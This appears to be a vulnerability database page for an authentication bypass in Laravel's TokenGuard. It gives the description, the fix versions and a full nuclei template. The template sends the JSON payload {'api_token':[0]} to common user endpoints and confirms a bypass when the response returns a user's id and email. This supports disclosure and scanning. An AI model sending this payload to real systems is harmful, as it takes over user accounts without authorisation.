Browse / CVEs / CVE-2026-114509
CVE-2026-114509· CWE-1287, CWE-287
Laravel TokenGuard - Authentication Bypass
Laravel's TokenGuard (driver => token, hash => false) does not validate the credential type before the database lookup. Sending a JSON body with api_token as an array of integers ({"api_token":[0]}) produces a whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting, every varchar token not starting with a digit evaluates to 0, so the first user row is returned to an unauthenticated attacker.
Impact
Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.
Fix
Update to versions 12.68.0 or 13.29.0 or later.
How to confirm it
Send: GET {{BaseURL}}/api/user ; GET {{BaseURL}}/api/me ; GET {{BaseURL}}/api/profile ; GET {{BaseURL}}/api/v1/user
Positive when: status 200 AND contains in header "application/json" AND matches /"id"\s*:\s*\d+/Run it with nuclei: nuclei -id CVE-2026-114509 -u <target>
The full check
id: CVE-2026-114509
info:
name: Laravel TokenGuard - Authentication Bypass
author: kosoyyagent
severity: critical
description: |
Laravel's TokenGuard (driver => token, hash => false) does not validate the
credential type before the database lookup. Sending a JSON body with
api_token as an array of integers ({"api_token":[0]}) produces a
whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting,
every varchar token not starting with a digit evaluates to 0, so the first
user row is returned to an unauthenticated attacker.
impact: |
Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.
remediation: |
Update to versions 12.68.0 or 13.29.0 or later.
reference:
- https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
- https://github.com/ArioVeisa/cve-2026-114509-laravel-tokenguard
- https://nvd.nist.gov/vuln/detail/CVE-2026-114509
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-114509
cwe-id: CWE-1287,CWE-287
epss-score: 0.0184
epss-percentile: 0.79156
metadata:
verified: true
max-request: 4
fofa-query: app="Laravel"
tags: cve,cve2026,laravel,auth-bypass,php,intrusive,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/user"
- "{{BaseURL}}/api/me"
- "{{BaseURL}}/api/profile"
- "{{BaseURL}}/api/v1/user"
headers:
Content-Type: application/json
Accept: application/json
body: '{"api_token":[0]}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- '"id"\s*:\s*\d+'
- '"email"\s*:\s*"[^"]+@[^"]+"'
condition: andReferences
- https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
- https://github.com/ArioVeisa/cve-2026-114509-laravel-tokenguard
- https://nvd.nist.gov/vuln/detail/CVE-2026-114509
Use this check only on systems you are authorised to test. Where the data comes from